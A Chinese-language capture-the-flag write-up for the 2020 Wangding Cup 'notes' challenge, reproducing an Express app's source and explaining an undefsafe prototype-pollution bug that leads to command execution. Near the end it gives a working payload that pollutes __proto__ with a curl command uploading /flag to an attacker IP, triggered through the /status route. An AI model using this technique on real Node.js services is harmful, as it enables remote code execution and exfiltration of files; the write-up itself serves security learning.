[網鼎杯 2020 青龍組]notes wp

人生艱難，做了兩天。學到不少。
給了js程式碼。第一次做js題，賊難受。

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

閱讀程式碼找不到啥地方有問題，看了wp發現是exec，我就好奇了，exec再js中明明是字串相關的，咋成了命令執行了？

看了半天發現上面有require引入了child_process這個檔案，查閱資料發現這裡面是一個命令執行。

第一次遇到原型鏈汙染的問題，網上了解了原型鏈汙染的原理後，發現commands與note_list都是陣列物件的例項，他們的原型類肯定相同。

只要通過Notes類中的edit_note方法修改note_list的原型類的資料就可以汙染commands

上網查詢得知undefsafe正好有原型類汙染的漏洞，給id賦值__porto__就可以給原型了新增author 和 raw_note 兩個屬性。

因此，遍歷command的屬性的時候可以遍歷到這兩個屬性並執行。
所以再edit_note路由下post

id=__proto__.bb&author=curl -F ‘flag=@/flag’ 174.1.166.72:8080&raw=a
其中 通過curl命令上傳內容為本地/flag檔案的名字為flag的檔案到攻擊機ip的8080埠。

此時commands的原型類已經被汙染，commands多了包含遠端請求的程式碼。
訪問/status路由執行命令。
通過RCE，監聽攻擊機的8080埠獲得上傳檔案的flag檔案中的內容獲得flag。

注意：buu無法訪問外網，需要用basic linuxlab的內網伺服器作為攻擊機接受上傳的資訊。